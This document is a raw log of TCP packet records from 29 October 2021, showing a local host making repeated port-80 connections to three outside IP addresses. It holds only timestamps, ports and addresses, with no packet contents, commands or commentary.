Oct 29, 2021 20:30:06.447074890 CEST	49799	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:06.499392986 CEST	80	49799	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:06.499558926 CEST	49799	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:06.499706984 CEST	49799	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:06.499723911 CEST	49799	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:06.551858902 CEST	80	49799	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:06.580986977 CEST	80	49799	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:06.581160069 CEST	49799	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:06.600044966 CEST	49799	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:06.652111053 CEST	80	49799	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:06.707870007 CEST	49800	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:06.761095047 CEST	80	49800	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:06.761303902 CEST	49800	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:06.884872913 CEST	49800	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:06.884901047 CEST	49800	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:06.969758034 CEST	80	49800	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:06.970005035 CEST	49800	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:08.627866983 CEST	49800	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:08.681009054 CEST	80	49800	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:09.097321033 CEST	49801	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:09.148972988 CEST	80	49801	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:09.149161100 CEST	49801	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:09.149390936 CEST	49801	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:09.149437904 CEST	49801	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:09.200972080 CEST	80	49801	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:09.230803013 CEST	80	49801	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:09.231019020 CEST	49801	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:09.244827986 CEST	49801	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:09.296252012 CEST	80	49801	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:09.317261934 CEST	49802	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:09.369165897 CEST	80	49802	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:09.369374990 CEST	49802	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:09.369517088 CEST	49802	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:09.369535923 CEST	49802	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:09.447693110 CEST	80	49802	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:09.447788954 CEST	49802	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:09.469142914 CEST	49802	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:09.520931005 CEST	80	49802	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:09.539696932 CEST	49803	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:09.591869116 CEST	80	49803	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:09.591999054 CEST	49803	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:09.592612982 CEST	49803	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:09.592736959 CEST	49803	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:09.644736052 CEST	80	49803	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:09.674103022 CEST	80	49803	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:09.674190998 CEST	49803	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:09.674438953 CEST	49803	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:09.726511002 CEST	80	49803	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:09.744879007 CEST	49804	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:09.798953056 CEST	80	49804	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:09.799068928 CEST	49804	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:09.799340010 CEST	49804	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:09.799372911 CEST	49804	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:09.878878117 CEST	80	49804	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:09.878988028 CEST	49804	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:09.892920017 CEST	49804	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:09.947021961 CEST	80	49804	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:09.972985983 CEST	49805	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:10.025122881 CEST	80	49805	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:10.025302887 CEST	49805	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:10.025470972 CEST	49805	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:10.025481939 CEST	49805	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:10.105526924 CEST	80	49805	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:10.105644941 CEST	49805	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:10.109477043 CEST	49805	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:10.161778927 CEST	80	49805	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:10.338298082 CEST	49806	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:10.389815092 CEST	80	49806	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:10.390069962 CEST	49806	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:10.390211105 CEST	49806	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:10.390222073 CEST	49806	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:10.468175888 CEST	80	49806	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:10.468281984 CEST	49806	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:10.607917070 CEST	49806	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:10.659393072 CEST	80	49806	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:11.578825951 CEST	49807	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:11.630888939 CEST	80	49807	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:11.632694960 CEST	49807	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:11.633338928 CEST	49807	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:11.633358002 CEST	49807	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:11.686198950 CEST	80	49807	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:11.686237097 CEST	80	49807	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:11.711445093 CEST	80	49807	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:11.715301991 CEST	49807	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:11.730238914 CEST	49807	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:11.772151947 CEST	49808	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:11.782246113 CEST	80	49807	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:11.825629950 CEST	80	49808	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:11.826672077 CEST	49808	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:11.826704025 CEST	49808	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:11.826805115 CEST	49808	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:11.905286074 CEST	80	49808	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:11.906459093 CEST	49808	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:11.910478115 CEST	49808	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:11.964229107 CEST	80	49808	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:34.767334938 CEST	49811	80	192.168.2.7	172.67.160.46
Oct 29, 2021 20:30:34.784166098 CEST	80	49811	172.67.160.46	192.168.2.7
Oct 29, 2021 20:30:34.784286022 CEST	49811	80	192.168.2.7	172.67.160.46
Oct 29, 2021 20:30:34.785027981 CEST	49811	80	192.168.2.7	172.67.160.46
Oct 29, 2021 20:30:34.801755905 CEST	80	49811	172.67.160.46	192.168.2.7
Oct 29, 2021 20:30:35.011461020 CEST	80	49811	172.67.160.46	192.168.2.7
Oct 29, 2021 20:30:35.011504889 CEST	80	49811	172.67.160.46	192.168.2.7
Oct 29, 2021 20:30:35.011528969 CEST	80	49811	172.67.160.46	192.168.2.7
Oct 29, 2021 20:30:35.011563063 CEST	80	49811	172.67.160.46	192.168.2.7
Oct 29, 2021 20:30:35.011579037 CEST	80	49811	172.67.160.46	192.168.2.7
Oct 29, 2021 20:30:35.011595964 CEST	80	49811	172.67.160.46	192.168.2.7
Oct 29, 2021 20:30:35.011641026 CEST	49811	80	192.168.2.7	172.67.160.46
Oct 29, 2021 20:30:35.011676073 CEST	49811	80	192.168.2.7	172.67.160.46
Oct 29, 2021 20:30:35.011682034 CEST	49811	80	192.168.2.7	172.67.160.46
Oct 29, 2021 20:30:35.037676096 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:35.071626902 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:35.071754932 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:35.072803974 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:35.072920084 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:35.105057955 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:35.105175972 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:35.410000086 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:35.410029888 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:35.410058975 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:35.410078049 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:35.410100937 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:35.410120010 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:35.410151005 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:35.410166979 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:35.410165071 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:35.410208941 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:35.410227060 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:35.457420111 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:35.490360022 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:35.692553997 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:35.692573071 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:35.692593098 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:35.692610025 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:35.692750931 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:35.692760944 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:35.692760944 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:35.692776918 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:35.692822933 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:35.692837000 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:35.692876101 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:35.692903042 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:35.692914963 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:35.692950010 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:35.693133116 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:35.726707935 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:35.726722956 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:35.726742983 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:35.726754904 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:35.726835966 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:35.726835012 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:35.726866961 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:35.726874113 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:35.726890087 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:35.726902962 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:35.726967096 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:35.727207899 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:35.727221966 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:35.727232933 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:35.727246046 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:35.727277040 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:35.727312088 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:35.727344036 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:35.759795904 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:35.759813070 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:35.759830952 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:35.759884119 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:35.759898901 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:35.759912968 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:35.759922981 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:35.759996891 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:35.760041952 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:35.760071993 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:35.760086060 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:35.760087967 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:35.760097027 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:35.760164022 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:35.760211945 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:35.792962074 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:35.792984009 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:35.793006897 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:35.793025017 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:35.793127060 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:35.793144941 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:35.793162107 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:35.793159962 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:35.793211937 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:35.793216944 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:35.793262005 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:35.793601036 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:35.793618917 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:35.794539928 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:35.854161978 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:35.854178905 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:35.854197025 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:35.854208946 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:35.854221106 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:35.854233027 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:35.854242086 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:35.854254007 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:35.854266882 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:35.854283094 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:35.854295969 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:35.854311943 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:35.854330063 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:35.854341030 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:35.854357004 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:35.854368925 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:35.854373932 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:35.854382038 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:35.854392052 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:35.854470968 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:35.857117891 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:35.857141018 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:35.857165098 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:35.857176065 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:35.857235909 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:35.857358932 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:35.857655048 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:35.857680082 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:35.857697010 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:35.857714891 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:35.857788086 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:35.889365911 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:35.889393091 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:35.889420033 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:35.889435053 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:35.889448881 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:35.889472008 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:35.889483929 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:35.889533043 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:35.890281916 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:35.891576052 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:35.891603947 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:35.891633034 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:35.891654015 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:35.891680002 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:35.891798973 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:35.894195080 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:35.894217014 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:35.894269943 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:35.894341946 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:35.921825886 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:35.921875954 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:35.921962023 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:35.921984911 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:35.922036886 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:35.922136068 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:35.924907923 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:35.924932957 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:35.924957991 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:35.924974918 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:35.924989939 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:35.925007105 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:35.925045013 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:35.925190926 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:35.925263882 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:35.954257011 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:35.954273939 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:35.954293013 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:35.954301119 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:35.954447031 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:35.954484940 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:35.957868099 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:35.957887888 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:35.957912922 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:35.957931995 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:35.957951069 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:35.957973957 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:35.957986116 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:35.957998991 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:35.958024025 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:35.958591938 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:35.986248970 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:35.986272097 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:35.986294031 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:35.986303091 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:35.986387014 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:35.986434937 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:35.993422031 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:35.993439913 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:35.993459940 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:35.993474007 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:35.993488073 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:35.993500948 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:35.993551016 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:35.993597984 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:35.993669987 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:36.019215107 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.019244909 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.019273043 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.019285917 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.019382954 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:36.019423962 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:36.026774883 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.026798010 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.026813030 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.026830912 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.026845932 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.026859999 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.026860952 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:36.026875019 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.026890039 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.026899099 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:36.027010918 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.027021885 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.027050018 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:36.028347969 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:36.052175999 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.052194118 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.052210093 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.052315950 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.052361012 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:36.052402973 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:36.059978962 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.059998989 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.060033083 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.060045004 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.060089111 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:36.060250998 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.060262918 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.060306072 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:36.060318947 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.060332060 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.060359955 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:36.060434103 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:36.060540915 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.060561895 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.061104059 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:36.096889973 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.096895933 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.096910954 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.096924067 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.097009897 CEST	49812	80	192.168.2.7	91.219.236.97
